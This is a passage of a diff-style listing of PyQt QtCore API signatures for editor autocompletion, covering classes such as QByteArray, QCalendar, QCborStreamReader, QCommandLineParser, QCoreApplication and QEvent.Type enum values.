+QtCore.QByteArray.toLower?4() -> QByteArray +QtCore.QByteArray.toUpper?4() -> QByteArray +QtCore.QByteArray.trimmed?4() -> QByteArray +QtCore.QByteArray.simplified?4() -> QByteArray +QtCore.QByteArray.leftJustified?4(int, str fill=' ', bool truncate=False) -> QByteArray +QtCore.QByteArray.rightJustified?4(int, str fill=' ', bool truncate=False) -> QByteArray +QtCore.QByteArray.prepend?4(QByteArray) -> QByteArray +QtCore.QByteArray.append?4(QByteArray) -> QByteArray +QtCore.QByteArray.append?4(QString) -> QByteArray +QtCore.QByteArray.insert?4(int, QByteArray) -> QByteArray +QtCore.QByteArray.insert?4(int, QString) -> QByteArray +QtCore.QByteArray.remove?4(int, int) -> QByteArray +QtCore.QByteArray.replace?4(int, int, QByteArray) -> QByteArray +QtCore.QByteArray.replace?4(QByteArray, QByteArray) -> QByteArray +QtCore.QByteArray.replace?4(QString, QByteArray) -> QByteArray +QtCore.QByteArray.split?4(str) -> unknown-type +QtCore.QByteArray.toShort?4(int base=10) -> (int, bool) +QtCore.QByteArray.toUShort?4(int base=10) -> (int, bool) +QtCore.QByteArray.toInt?4(int base=10) -> (int, bool) +QtCore.QByteArray.toUInt?4(int base=10) -> (int, bool) +QtCore.QByteArray.toLong?4(int base=10) -> (int, bool) +QtCore.QByteArray.toULong?4(int base=10) -> (int, bool) +QtCore.QByteArray.toLongLong?4(int base=10) -> (int, bool) +QtCore.QByteArray.toULongLong?4(int base=10) -> (int, bool) +QtCore.QByteArray.toFloat?4() -> (float, bool) +QtCore.QByteArray.toDouble?4() -> (float, bool) +QtCore.QByteArray.toBase64?4() -> QByteArray +QtCore.QByteArray.setNum?4(float, str format='g', int precision=6) -> QByteArray +QtCore.QByteArray.setNum?4(object, int base=10) -> QByteArray +QtCore.QByteArray.number?4(float, str format='g', int precision=6) -> QByteArray +QtCore.QByteArray.number?4(object, int base=10) -> QByteArray +QtCore.QByteArray.fromBase64?4(QByteArray) -> QByteArray +QtCore.QByteArray.fromRawData?4(bytes) -> QByteArray +QtCore.QByteArray.fromHex?4(QByteArray) -> QByteArray +QtCore.QByteArray.count?4() -> int +QtCore.QByteArray.length?4() -> int +QtCore.QByteArray.isNull?4() -> bool +QtCore.QByteArray.size?4() -> int +QtCore.QByteArray.at?4(int) -> str +QtCore.QByteArray.isEmpty?4() -> bool +QtCore.QByteArray.data?4() -> object +QtCore.QByteArray.capacity?4() -> int +QtCore.QByteArray.reserve?4(int) +QtCore.QByteArray.squeeze?4() +QtCore.QByteArray.push_back?4(QByteArray) +QtCore.QByteArray.push_front?4(QByteArray) +QtCore.QByteArray.contains?4(QByteArray) -> bool +QtCore.QByteArray.toHex?4() -> QByteArray +QtCore.QByteArray.toPercentEncoding?4(QByteArray exclude=QByteArray(), QByteArray include=QByteArray(), str percent='%') -> QByteArray +QtCore.QByteArray.fromPercentEncoding?4(QByteArray, str percent='%') -> QByteArray +QtCore.QByteArray.repeated?4(int) -> QByteArray +QtCore.QByteArray.swap?4(QByteArray) +QtCore.QByteArray.toBase64?4(QByteArray.Base64Options) -> QByteArray +QtCore.QByteArray.fromBase64?4(QByteArray, QByteArray.Base64Options) -> QByteArray +QtCore.QByteArray.prepend?4(int, str) -> QByteArray +QtCore.QByteArray.append?4(int, str) -> QByteArray +QtCore.QByteArray.insert?4(int, int, str) -> QByteArray +QtCore.QByteArray.toHex?4(str) -> QByteArray +QtCore.QByteArray.chopped?4(int) -> QByteArray +QtCore.QByteArray.compare?4(QByteArray, Qt.CaseSensitivity cs=Qt.CaseSensitive) -> int +QtCore.QByteArray.isUpper?4() -> bool +QtCore.QByteArray.isLower?4() -> bool +QtCore.QByteArray.fromBase64Encoding?4(QByteArray, QByteArray.Base64Options options=QByteArray.Base64Encoding) -> QByteArray.FromBase64Result +QtCore.QByteArray.Base64Options?1() +QtCore.QByteArray.Base64Options.__init__?1(self) +QtCore.QByteArray.Base64Options?1(int) +QtCore.QByteArray.Base64Options.__init__?1(self, int) +QtCore.QByteArray.Base64Options?1(QByteArray.Base64Options) +QtCore.QByteArray.Base64Options.__init__?1(self, QByteArray.Base64Options) +QtCore.QByteArray.FromBase64Result.decoded?7 +QtCore.QByteArray.FromBase64Result.decodingStatus?7 +QtCore.QByteArray.FromBase64Result?1() +QtCore.QByteArray.FromBase64Result.__init__?1(self) +QtCore.QByteArray.FromBase64Result?1(QByteArray.FromBase64Result) +QtCore.QByteArray.FromBase64Result.__init__?1(self, QByteArray.FromBase64Result) +QtCore.QByteArray.FromBase64Result.swap?4(QByteArray.FromBase64Result) +QtCore.QByteArrayMatcher?1() +QtCore.QByteArrayMatcher.__init__?1(self) +QtCore.QByteArrayMatcher?1(QByteArray) +QtCore.QByteArrayMatcher.__init__?1(self, QByteArray) +QtCore.QByteArrayMatcher?1(QByteArrayMatcher) +QtCore.QByteArrayMatcher.__init__?1(self, QByteArrayMatcher) +QtCore.QByteArrayMatcher.setPattern?4(QByteArray) +QtCore.QByteArrayMatcher.indexIn?4(QByteArray, int from=0) -> int +QtCore.QByteArrayMatcher.pattern?4() -> QByteArray +QtCore.QCalendar.System?10 +QtCore.QCalendar.System.Gregorian?10 +QtCore.QCalendar.System.Julian?10 +QtCore.QCalendar.System.Milankovic?10 +QtCore.QCalendar.System.Jalali?10 +QtCore.QCalendar.System.IslamicCivil?10 +QtCore.Unspecified?10 +QtCore.QCalendar?1() +QtCore.QCalendar.__init__?1(self) +QtCore.QCalendar?1(QCalendar.System) +QtCore.QCalendar.__init__?1(self, QCalendar.System) +QtCore.QCalendar?1(str) +QtCore.QCalendar.__init__?1(self, str) +QtCore.QCalendar?1(QCalendar) +QtCore.QCalendar.__init__?1(self, QCalendar) +QtCore.QCalendar.daysInMonth?4(int, int year=QCalendar.Unspecified) -> int +QtCore.QCalendar.daysInYear?4(int) -> int +QtCore.QCalendar.monthsInYear?4(int) -> int +QtCore.QCalendar.isDateValid?4(int, int, int) -> bool +QtCore.QCalendar.isLeapYear?4(int) -> bool +QtCore.QCalendar.isGregorian?4() -> bool +QtCore.QCalendar.isLunar?4() -> bool +QtCore.QCalendar.isLuniSolar?4() -> bool +QtCore.QCalendar.isSolar?4() -> bool +QtCore.QCalendar.isProleptic?4() -> bool +QtCore.QCalendar.hasYearZero?4() -> bool +QtCore.QCalendar.maximumDaysInMonth?4() -> int +QtCore.QCalendar.minimumDaysInMonth?4() -> int +QtCore.QCalendar.maximumMonthsInYear?4() -> int +QtCore.QCalendar.name?4() -> QString +QtCore.QCalendar.dateFromParts?4(int, int, int) -> QDate +QtCore.QCalendar.dateFromParts?4(QCalendar.YearMonthDay) -> QDate +QtCore.QCalendar.partsFromDate?4(QDate) -> QCalendar.YearMonthDay +QtCore.QCalendar.dayOfWeek?4(QDate) -> int +QtCore.QCalendar.monthName?4(QLocale, int, int year=QCalendar.Unspecified, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QCalendar.standaloneMonthName?4(QLocale, int, int year=QCalendar.Unspecified, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QCalendar.weekDayName?4(QLocale, int, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QCalendar.standaloneWeekDayName?4(QLocale, int, QLocale.FormatType format=QLocale.LongFormat) -> QString +QtCore.QCalendar.dateTimeToString?4(QString, QDateTime, QDate, QTime, QLocale) -> QString +QtCore.QCalendar.availableCalendars?4() -> QStringList +QtCore.QCalendar.YearMonthDay.day?7 +QtCore.QCalendar.YearMonthDay.month?7 +QtCore.QCalendar.YearMonthDay.year?7 +QtCore.QCalendar.YearMonthDay?1() +QtCore.QCalendar.YearMonthDay.__init__?1(self) +QtCore.QCalendar.YearMonthDay?1(int, int month=1, int day=1) +QtCore.QCalendar.YearMonthDay.__init__?1(self, int, int month=1, int day=1) +QtCore.QCalendar.YearMonthDay?1(QCalendar.YearMonthDay) +QtCore.QCalendar.YearMonthDay.__init__?1(self, QCalendar.YearMonthDay) +QtCore.QCalendar.YearMonthDay.isValid?4() -> bool +QtCore.QCborError.Code?10 +QtCore.QCborError.Code.UnknownError?10 +QtCore.QCborError.Code.AdvancePastEnd?10 +QtCore.QCborError.Code.InputOutputError?10 +QtCore.QCborError.Code.GarbageAtEnd?10 +QtCore.QCborError.Code.EndOfFile?10 +QtCore.QCborError.Code.UnexpectedBreak?10 +QtCore.QCborError.Code.UnknownType?10 +QtCore.QCborError.Code.IllegalType?10 +QtCore.QCborError.Code.IllegalNumber?10 +QtCore.QCborError.Code.IllegalSimpleType?10 +QtCore.QCborError.Code.InvalidUtf8String?10 +QtCore.QCborError.Code.DataTooLarge?10 +QtCore.QCborError.Code.NestingTooDeep?10 +QtCore.QCborError.Code.UnsupportedType?10 +QtCore.QCborError.Code.NoError?10 +QtCore.QCborError?1() +QtCore.QCborError.__init__?1(self) +QtCore.QCborError?1(QCborError) +QtCore.QCborError.__init__?1(self, QCborError) +QtCore.QCborError.code?4() -> QCborError.Code +QtCore.QCborError.toString?4() -> QString +QtCore.QCborStreamWriter?1(QIODevice) +QtCore.QCborStreamWriter.__init__?1(self, QIODevice) +QtCore.QCborStreamWriter?1(QByteArray) +QtCore.QCborStreamWriter.__init__?1(self, QByteArray) +QtCore.QCborStreamWriter.setDevice?4(QIODevice) +QtCore.QCborStreamWriter.device?4() -> QIODevice +QtCore.QCborStreamWriter.append?4(QCborSimpleType) +QtCore.QCborStreamWriter.append?4(QCborKnownTags) +QtCore.QCborStreamWriter.append?4(QString) +QtCore.QCborStreamWriter.append?4(QByteArray) +QtCore.QCborStreamWriter.append?4(bool) +QtCore.QCborStreamWriter.append?4(float) +QtCore.QCborStreamWriter.append?4(object) +QtCore.QCborStreamWriter.appendNull?4() +QtCore.QCborStreamWriter.appendUndefined?4() +QtCore.QCborStreamWriter.startArray?4() +QtCore.QCborStreamWriter.startArray?4(int) +QtCore.QCborStreamWriter.endArray?4() -> bool +QtCore.QCborStreamWriter.startMap?4() +QtCore.QCborStreamWriter.startMap?4(int) +QtCore.QCborStreamWriter.endMap?4() -> bool +QtCore.QCborStreamReader.StringResultCode?10 +QtCore.QCborStreamReader.StringResultCode.EndOfString?10 +QtCore.QCborStreamReader.StringResultCode.Ok?10 +QtCore.QCborStreamReader.StringResultCode.Error?10 +QtCore.QCborStreamReader.Type?10 +QtCore.QCborStreamReader.Type.UnsignedInteger?10 +QtCore.QCborStreamReader.Type.NegativeInteger?10 +QtCore.QCborStreamReader.Type.ByteString?10 +QtCore.QCborStreamReader.Type.ByteArray?10 +QtCore.QCborStreamReader.Type.TextString?10 +QtCore.QCborStreamReader.Type.String?10 +QtCore.QCborStreamReader.Type.Array?10 +QtCore.QCborStreamReader.Type.Map?10 +QtCore.QCborStreamReader.Type.Tag?10 +QtCore.QCborStreamReader.Type.SimpleType?10 +QtCore.QCborStreamReader.Type.HalfFloat?10 +QtCore.QCborStreamReader.Type.Float16?10 +QtCore.QCborStreamReader.Type.Float?10 +QtCore.QCborStreamReader.Type.Double?10 +QtCore.QCborStreamReader.Type.Invalid?10 +QtCore.QCborStreamReader?1() +QtCore.QCborStreamReader.__init__?1(self) +QtCore.QCborStreamReader?1(QByteArray) +QtCore.QCborStreamReader.__init__?1(self, QByteArray) +QtCore.QCborStreamReader?1(QIODevice) +QtCore.QCborStreamReader.__init__?1(self, QIODevice) +QtCore.QCborStreamReader.setDevice?4(QIODevice) +QtCore.QCborStreamReader.device?4() -> QIODevice +QtCore.QCborStreamReader.addData?4(QByteArray) +QtCore.QCborStreamReader.reparse?4() +QtCore.QCborStreamReader.clear?4() +QtCore.QCborStreamReader.reset?4() +QtCore.QCborStreamReader.lastError?4() -> QCborError +QtCore.QCborStreamReader.currentOffset?4() -> int +QtCore.QCborStreamReader.isValid?4() -> bool +QtCore.QCborStreamReader.containerDepth?4() -> int +QtCore.QCborStreamReader.parentContainerType?4() -> QCborStreamReader.Type +QtCore.QCborStreamReader.hasNext?4() -> bool +QtCore.QCborStreamReader.next?4(int maxRecursion=10000) -> bool +QtCore.QCborStreamReader.type?4() -> QCborStreamReader.Type +QtCore.QCborStreamReader.isUnsignedInteger?4() -> bool +QtCore.QCborStreamReader.isNegativeInteger?4() -> bool +QtCore.QCborStreamReader.isInteger?4() -> bool +QtCore.QCborStreamReader.isByteArray?4() -> bool +QtCore.QCborStreamReader.isString?4() -> bool +QtCore.QCborStreamReader.isArray?4() -> bool +QtCore.QCborStreamReader.isMap?4() -> bool +QtCore.QCborStreamReader.isTag?4() -> bool +QtCore.QCborStreamReader.isSimpleType?4() -> bool +QtCore.QCborStreamReader.isFloat16?4() -> bool +QtCore.QCborStreamReader.isFloat?4() -> bool +QtCore.QCborStreamReader.isDouble?4() -> bool +QtCore.QCborStreamReader.isInvalid?4() -> bool +QtCore.QCborStreamReader.isSimpleType?4(QCborSimpleType) -> bool +QtCore.QCborStreamReader.isFalse?4() -> bool +QtCore.QCborStreamReader.isTrue?4() -> bool +QtCore.QCborStreamReader.isBool?4() -> bool +QtCore.QCborStreamReader.isNull?4() -> bool +QtCore.QCborStreamReader.isUndefined?4() -> bool +QtCore.QCborStreamReader.isLengthKnown?4() -> bool +QtCore.QCborStreamReader.length?4() -> int +QtCore.QCborStreamReader.isContainer?4() -> bool +QtCore.QCborStreamReader.enterContainer?4() -> bool +QtCore.QCborStreamReader.leaveContainer?4() -> bool +QtCore.QCborStreamReader.readString?4() -> tuple +QtCore.QCborStreamReader.readByteArray?4() -> tuple +QtCore.QCborStreamReader.toBool?4() -> bool +QtCore.QCborStreamReader.toUnsignedInteger?4() -> int +QtCore.QCborStreamReader.toSimpleType?4() -> QCborSimpleType +QtCore.QCborStreamReader.toDouble?4() -> float +QtCore.QCborStreamReader.toInteger?4() -> int +QtCore.QCollatorSortKey?1(QCollatorSortKey) +QtCore.QCollatorSortKey.__init__?1(self, QCollatorSortKey) +QtCore.QCollatorSortKey.swap?4(QCollatorSortKey) +QtCore.QCollatorSortKey.compare?4(QCollatorSortKey) -> int +QtCore.QCollator?1(QLocale locale=QLocale()) +QtCore.QCollator.__init__?1(self, QLocale locale=QLocale()) +QtCore.QCollator?1(QCollator) +QtCore.QCollator.__init__?1(self, QCollator) +QtCore.QCollator.swap?4(QCollator) +QtCore.QCollator.setLocale?4(QLocale) +QtCore.QCollator.locale?4() -> QLocale +QtCore.QCollator.caseSensitivity?4() -> Qt.CaseSensitivity +QtCore.QCollator.setCaseSensitivity?4(Qt.CaseSensitivity) +QtCore.QCollator.setNumericMode?4(bool) +QtCore.QCollator.numericMode?4() -> bool +QtCore.QCollator.setIgnorePunctuation?4(bool) +QtCore.QCollator.ignorePunctuation?4() -> bool +QtCore.QCollator.compare?4(QString, QString) -> int +QtCore.QCollator.sortKey?4(QString) -> QCollatorSortKey +QtCore.QCommandLineOption.Flag?10 +QtCore.QCommandLineOption.Flag.HiddenFromHelp?10 +QtCore.QCommandLineOption.Flag.ShortOptionStyle?10 +QtCore.QCommandLineOption?1(QString) +QtCore.QCommandLineOption.__init__?1(self, QString) +QtCore.QCommandLineOption?1(QStringList) +QtCore.QCommandLineOption.__init__?1(self, QStringList) +QtCore.QCommandLineOption?1(QString, QString, QString valueName='', QString defaultValue='') +QtCore.QCommandLineOption.__init__?1(self, QString, QString, QString valueName='', QString defaultValue='') +QtCore.QCommandLineOption?1(QStringList, QString, QString valueName='', QString defaultValue='') +QtCore.QCommandLineOption.__init__?1(self, QStringList, QString, QString valueName='', QString defaultValue='') +QtCore.QCommandLineOption?1(QCommandLineOption) +QtCore.QCommandLineOption.__init__?1(self, QCommandLineOption) +QtCore.QCommandLineOption.swap?4(QCommandLineOption) +QtCore.QCommandLineOption.names?4() -> QStringList +QtCore.QCommandLineOption.setValueName?4(QString) +QtCore.QCommandLineOption.valueName?4() -> QString +QtCore.QCommandLineOption.setDescription?4(QString) +QtCore.QCommandLineOption.description?4() -> QString +QtCore.QCommandLineOption.setDefaultValue?4(QString) +QtCore.QCommandLineOption.setDefaultValues?4(QStringList) +QtCore.QCommandLineOption.defaultValues?4() -> QStringList +QtCore.QCommandLineOption.setHidden?4(bool) +QtCore.QCommandLineOption.isHidden?4() -> bool +QtCore.QCommandLineOption.flags?4() -> QCommandLineOption.Flags +QtCore.QCommandLineOption.setFlags?4(QCommandLineOption.Flags) +QtCore.QCommandLineOption.Flags?1() +QtCore.QCommandLineOption.Flags.__init__?1(self) +QtCore.QCommandLineOption.Flags?1(int) +QtCore.QCommandLineOption.Flags.__init__?1(self, int) +QtCore.QCommandLineOption.Flags?1(QCommandLineOption.Flags) +QtCore.QCommandLineOption.Flags.__init__?1(self, QCommandLineOption.Flags) +QtCore.QCommandLineParser.OptionsAfterPositionalArgumentsMode?10 +QtCore.QCommandLineParser.OptionsAfterPositionalArgumentsMode.ParseAsOptions?10 +QtCore.QCommandLineParser.OptionsAfterPositionalArgumentsMode.ParseAsPositionalArguments?10 +QtCore.QCommandLineParser.SingleDashWordOptionMode?10 +QtCore.QCommandLineParser.SingleDashWordOptionMode.ParseAsCompactedShortOptions?10 +QtCore.QCommandLineParser.SingleDashWordOptionMode.ParseAsLongOptions?10 +QtCore.QCommandLineParser?1() +QtCore.QCommandLineParser.__init__?1(self) +QtCore.QCommandLineParser.setSingleDashWordOptionMode?4(QCommandLineParser.SingleDashWordOptionMode) +QtCore.QCommandLineParser.addOption?4(QCommandLineOption) -> bool +QtCore.QCommandLineParser.addVersionOption?4() -> QCommandLineOption +QtCore.QCommandLineParser.addHelpOption?4() -> QCommandLineOption +QtCore.QCommandLineParser.setApplicationDescription?4(QString) +QtCore.QCommandLineParser.applicationDescription?4() -> QString +QtCore.QCommandLineParser.addPositionalArgument?4(QString, QString, QString syntax='') +QtCore.QCommandLineParser.clearPositionalArguments?4() +QtCore.QCommandLineParser.process?4(QStringList) +QtCore.QCommandLineParser.process?4(QCoreApplication) +QtCore.QCommandLineParser.parse?4(QStringList) -> bool +QtCore.QCommandLineParser.errorText?4() -> QString +QtCore.QCommandLineParser.isSet?4(QString) -> bool +QtCore.QCommandLineParser.value?4(QString) -> QString +QtCore.QCommandLineParser.values?4(QString) -> QStringList +QtCore.QCommandLineParser.isSet?4(QCommandLineOption) -> bool +QtCore.QCommandLineParser.value?4(QCommandLineOption) -> QString +QtCore.QCommandLineParser.values?4(QCommandLineOption) -> QStringList +QtCore.QCommandLineParser.positionalArguments?4() -> QStringList +QtCore.QCommandLineParser.optionNames?4() -> QStringList +QtCore.QCommandLineParser.unknownOptionNames?4() -> QStringList +QtCore.QCommandLineParser.showHelp?4(int exitCode=0) +QtCore.QCommandLineParser.helpText?4() -> QString +QtCore.QCommandLineParser.addOptions?4(unknown-type) -> bool +QtCore.QCommandLineParser.showVersion?4() +QtCore.QCommandLineParser.setOptionsAfterPositionalArgumentsMode?4(QCommandLineParser.OptionsAfterPositionalArgumentsMode) +QtCore.QConcatenateTablesProxyModel?1(QObject parent=None) +QtCore.QConcatenateTablesProxyModel.__init__?1(self, QObject parent=None) +QtCore.QConcatenateTablesProxyModel.addSourceModel?4(QAbstractItemModel) +QtCore.QConcatenateTablesProxyModel.removeSourceModel?4(QAbstractItemModel) +QtCore.QConcatenateTablesProxyModel.mapFromSource?4(QModelIndex) -> QModelIndex +QtCore.QConcatenateTablesProxyModel.mapToSource?4(QModelIndex) -> QModelIndex +QtCore.QConcatenateTablesProxyModel.data?4(QModelIndex, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtCore.QConcatenateTablesProxyModel.setData?4(QModelIndex, QVariant, int role=Qt.ItemDataRole.EditRole) -> bool +QtCore.QConcatenateTablesProxyModel.itemData?4(QModelIndex) -> unknown-type +QtCore.QConcatenateTablesProxyModel.setItemData?4(QModelIndex, unknown-type) -> bool +QtCore.QConcatenateTablesProxyModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtCore.QConcatenateTablesProxyModel.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtCore.QConcatenateTablesProxyModel.parent?4(QModelIndex) -> QModelIndex +QtCore.QConcatenateTablesProxyModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QConcatenateTablesProxyModel.headerData?4(int, Qt.Orientation, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtCore.QConcatenateTablesProxyModel.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QConcatenateTablesProxyModel.mimeTypes?4() -> QStringList +QtCore.QConcatenateTablesProxyModel.mimeData?4(unknown-type) -> QMimeData +QtCore.QConcatenateTablesProxyModel.canDropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtCore.QConcatenateTablesProxyModel.dropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtCore.QConcatenateTablesProxyModel.span?4(QModelIndex) -> QSize +QtCore.QConcatenateTablesProxyModel.sourceModels?4() -> unknown-type +QtCore.QCoreApplication?1(list) +QtCore.QCoreApplication.__init__?1(self, list) +QtCore.QCoreApplication.setOrganizationDomain?4(QString) +QtCore.QCoreApplication.organizationDomain?4() -> QString +QtCore.QCoreApplication.setOrganizationName?4(QString) +QtCore.QCoreApplication.organizationName?4() -> QString +QtCore.QCoreApplication.setApplicationName?4(QString) +QtCore.QCoreApplication.applicationName?4() -> QString +QtCore.QCoreApplication.arguments?4() -> QStringList +QtCore.QCoreApplication.instance?4() -> QCoreApplication +QtCore.QCoreApplication.exec_?4() -> int +QtCore.QCoreApplication.exec?4() -> int +QtCore.QCoreApplication.processEvents?4(QEventLoop.ProcessEventsFlags flags=QEventLoop.ProcessEventsFlag.AllEvents) +QtCore.QCoreApplication.processEvents?4(QEventLoop.ProcessEventsFlags, int) +QtCore.QCoreApplication.exit?4(int returnCode=0) +QtCore.QCoreApplication.sendEvent?4(QObject, QEvent) -> bool +QtCore.QCoreApplication.postEvent?4(QObject, QEvent, int priority=Qt.EventPriority.NormalEventPriority) +QtCore.QCoreApplication.sendPostedEvents?4(QObject receiver=None, int eventType=0) +QtCore.QCoreApplication.removePostedEvents?4(QObject, int eventType=0) +QtCore.QCoreApplication.hasPendingEvents?4() -> bool +QtCore.QCoreApplication.notify?4(QObject, QEvent) -> bool +QtCore.QCoreApplication.startingUp?4() -> bool +QtCore.QCoreApplication.closingDown?4() -> bool +QtCore.QCoreApplication.applicationDirPath?4() -> QString +QtCore.QCoreApplication.applicationFilePath?4() -> QString +QtCore.QCoreApplication.setLibraryPaths?4(QStringList) +QtCore.QCoreApplication.libraryPaths?4() -> QStringList +QtCore.QCoreApplication.addLibraryPath?4(QString) +QtCore.QCoreApplication.removeLibraryPath?4(QString) +QtCore.QCoreApplication.installTranslator?4(QTranslator) -> bool +QtCore.QCoreApplication.removeTranslator?4(QTranslator) -> bool +QtCore.QCoreApplication.translate?4(str, str, str disambiguation=None, int n=-1) -> QString +QtCore.QCoreApplication.flush?4() +QtCore.QCoreApplication.setAttribute?4(Qt.ApplicationAttribute, bool on=True) +QtCore.QCoreApplication.testAttribute?4(Qt.ApplicationAttribute) -> bool +QtCore.QCoreApplication.quit?4() +QtCore.QCoreApplication.aboutToQuit?4() +QtCore.QCoreApplication.event?4(QEvent) -> bool +QtCore.QCoreApplication.setApplicationVersion?4(QString) +QtCore.QCoreApplication.applicationVersion?4() -> QString +QtCore.QCoreApplication.applicationPid?4() -> int +QtCore.QCoreApplication.eventDispatcher?4() -> QAbstractEventDispatcher +QtCore.QCoreApplication.setEventDispatcher?4(QAbstractEventDispatcher) +QtCore.QCoreApplication.isQuitLockEnabled?4() -> bool +QtCore.QCoreApplication.setQuitLockEnabled?4(bool) +QtCore.QCoreApplication.installNativeEventFilter?4(QAbstractNativeEventFilter) +QtCore.QCoreApplication.removeNativeEventFilter?4(QAbstractNativeEventFilter) +QtCore.QCoreApplication.setSetuidAllowed?4(bool) +QtCore.QCoreApplication.isSetuidAllowed?4() -> bool +QtCore.QCoreApplication.__enter__?4() -> object +QtCore.QCoreApplication.__exit__?4(object, object, object) +QtCore.QEvent.Type?10 +QtCore.QEvent.Type.None_?10 +QtCore.QEvent.Type.Timer?10 +QtCore.QEvent.Type.MouseButtonPress?10 +QtCore.QEvent.Type.MouseButtonRelease?10 +QtCore.QEvent.Type.MouseButtonDblClick?10 +QtCore.QEvent.Type.MouseMove?10 +QtCore.QEvent.Type.KeyPress?10 +QtCore.QEvent.Type.KeyRelease?10 +QtCore.QEvent.Type.FocusIn?10 +QtCore.QEvent.Type.FocusOut?10 +QtCore.QEvent.Type.Enter?10 +QtCore.QEvent.Type.Leave?10 +QtCore.QEvent.Type.Paint?10 +QtCore.QEvent.Type.Move?10 +QtCore.QEvent.Type.Resize?10 +QtCore.QEvent.Type.Show?10 +QtCore.QEvent.Type.Hide?10 +QtCore.QEvent.Type.Close?10 +QtCore.QEvent.Type.ParentChange?10 +QtCore.QEvent.Type.ParentAboutToChange?10 +QtCore.QEvent.Type.ThreadChange?10 +QtCore.QEvent.Type.WindowActivate?10 +QtCore.QEvent.Type.WindowDeactivate?10 +QtCore.QEvent.Type.ShowToParent?10 +QtCore.QEvent.Type.HideToParent?10 +QtCore.QEvent.Type.Wheel?10 +QtCore.QEvent.Type.WindowTitleChange?10 +QtCore.QEvent.Type.WindowIconChange?10 +QtCore.QEvent.Type.ApplicationWindowIconChange?10 +QtCore.QEvent.Type.ApplicationFontChange?10 +QtCore.QEvent.Type.ApplicationLayoutDirectionChange?10 +QtCore.QEvent.Type.ApplicationPaletteChange?10 +QtCore.QEvent.Type.PaletteChange?10 +QtCore.QEvent.Type.Clipboard?10 +QtCore.QEvent.Type.MetaCall?10 +QtCore.QEvent.Type.SockAct?10 +QtCore.QEvent.Type.WinEventAct?10 +QtCore.QEvent.Type.DeferredDelete?10 +QtCore.QEvent.Type.DragEnter?10 +QtCore.QEvent.Type.DragMove?10 +QtCore.QEvent.Type.DragLeave?10 +QtCore.QEvent.Type.Drop?10 +QtCore.QEvent.Type.ChildAdded?10 +QtCore.QEvent.Type.ChildPolished?10 +QtCore.QEvent.Type.ChildRemoved?10 +QtCore.QEvent.Type.PolishRequest?10 +QtCore.QEvent.Type.Polish?10 +QtCore.QEvent.Type.LayoutRequest?10 +QtCore.QEvent.Type.UpdateRequest?10 +QtCore.QEvent.Type.UpdateLater?10 +QtCore.QEvent.Type.ContextMenu?10 +QtCore.QEvent.Type.InputMethod?10 +QtCore.QEvent.Type.TabletMove?10 +QtCore.QEvent.Type.LocaleChange?10 +QtCore.QEvent.Type.LanguageChange?10 +QtCore.QEvent.Type.LayoutDirectionChange?10 +QtCore.QEvent.Type.TabletPress?10 +QtCore.QEvent.Type.TabletRelease?10 +QtCore.QEvent.Type.OkRequest?10 +QtCore.QEvent.Type.IconDrag?10 +QtCore.QEvent.Type.FontChange?10 +QtCore.QEvent.Type.EnabledChange?10 +QtCore.QEvent.Type.ActivationChange?10 +QtCore.QEvent.Type.StyleChange?10 +QtCore.QEvent.Type.IconTextChange?10 +QtCore.QEvent.Type.ModifiedChange?10 +QtCore.QEvent.Type.MouseTrackingChange?10 +QtCore.QEvent.Type.WindowBlocked?10 +QtCore.QEvent.Type.WindowUnblocked?10 +QtCore.QEvent.Type.WindowStateChange?10 +QtCore.QEvent.Type.ToolTip?10 +QtCore.QEvent.Type.WhatsThis?10 +QtCore.QEvent.Type.StatusTip?10 +QtCore.QEvent.Type.ActionChanged?10 +QtCore.QEvent.Type.ActionAdded?10 +QtCore.QEvent.Type.ActionRemoved?10 +QtCore.QEvent.Type.FileOpen?10 +QtCore.QEvent.Type.Shortcut?10 +QtCore.QEvent.Type.ShortcutOverride?10 +QtCore.QEvent.Type.WhatsThisClicked?10 +QtCore.QEvent.Type.ToolBarChange?10 +QtCore.QEvent.Type.ApplicationActivate?10 +QtCore.QEvent.Type.ApplicationActivated?10 +QtCore.QEvent.Type.ApplicationDeactivate?10 +QtCore.QEvent.Type.ApplicationDeactivated?10 +QtCore.QEvent.Type.QueryWhatsThis?10 +QtCore.QEvent.Type.EnterWhatsThisMode?10 +QtCore.QEvent.Type.LeaveWhatsThisMode?10 +QtCore.QEvent.Type.ZOrderChange?10 +QtCore.QEvent.Type.HoverEnter?10 +QtCore.QEvent.Type.HoverLeave?10 +QtCore.QEvent.Type.HoverMove?10 +QtCore.QEvent.Type.GraphicsSceneMouseMove?10 +QtCore.QEvent.Type.GraphicsSceneMousePress?10 +QtCore.QEvent.Type.GraphicsSceneMouseRelease?10 +QtCore.QEvent.Type.GraphicsSceneMouseDoubleClick?10 +QtCore.QEvent.Type.GraphicsSceneContextMenu?10 +QtCore.QEvent.Type.GraphicsSceneHoverEnter?10 +QtCore.QEvent.Type.GraphicsSceneHoverMove?10 +QtCore.QEvent.Type.GraphicsSceneHoverLeave?10 +QtCore.QEvent.Type.GraphicsSceneHelp?10 +QtCore.QEvent.Type.GraphicsSceneDragEnter?10 +QtCore.QEvent.Type.GraphicsSceneDragMove?10 +QtCore.QEvent.Type.GraphicsSceneDragLeave?10 +QtCore.QEvent.Type.GraphicsSceneDrop?10 +QtCore.QEvent.Type.GraphicsSceneWheel?10 +QtCore.QEvent.Type.GraphicsSceneResize?10 +QtCore.QEvent.Type.GraphicsSceneMove?10 +QtCore.QEvent.Type.KeyboardLayoutChange?10 +QtCore.QEvent.Type.DynamicPropertyChange?10 +QtCore.QEvent.Type.TabletEnterProximity?10 +QtCore.QEvent.Type.TabletLeaveProximity?10 +QtCore.QEvent.Type.NonClientAreaMouseMove?10 +QtCore.QEvent.Type.NonClientAreaMouseButtonPress?10 +QtCore.QEvent.Type.NonClientAreaMouseButtonRelease?10 +QtCore.QEvent.Type.NonClientAreaMouseButtonDblClick?10 +QtCore.QEvent.Type.MacSizeChange?10 +QtCore.QEvent.Type.ContentsRectChange?10 